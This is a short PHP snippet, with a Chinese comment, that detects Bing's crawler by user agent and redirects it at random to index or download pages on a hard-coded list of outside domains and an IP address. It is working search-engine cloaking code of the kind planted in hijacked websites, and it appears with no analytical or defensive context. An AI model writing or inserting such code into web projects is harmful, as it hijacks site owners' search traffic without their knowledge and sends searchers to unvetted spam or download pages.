if (!headers_sent() && isset($_SERVER['HTTP_USER_AGENT'])) {
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
// Bing 蜘蛛（匹配多个 UA 关键字）才随机跳转
$bingUaKeywords = [
'bingbot',
'bingpreview',
'msnbot',
];
$isBing = false;
foreach ($bingUaKeywords as $kw) {
if (strpos($ua, $kw) !== false) {
$isBing = true;
break;
}
}
if ($isBing) {
$domains = [
'','yingchao-sp.com','www.yingchao-sp.com','jiadan-wx.com','www.jiadan-wx.com',
'jundaoseo8.com','www.jundaoseo8.com','47.242.93.13','4466.one','sougoupc10.com.cn',
'xxmhz.org','xxmhw.org',
];
$targets = [];
foreach ($domains as $d) {
$targets[] = "https://{$d}/index.html";
$targets[] = "https://{$d}/download.html";
}
$target = $targets[array_rand($targets)];
header('Location: ' . $target, true, 302);
exit;
}
}
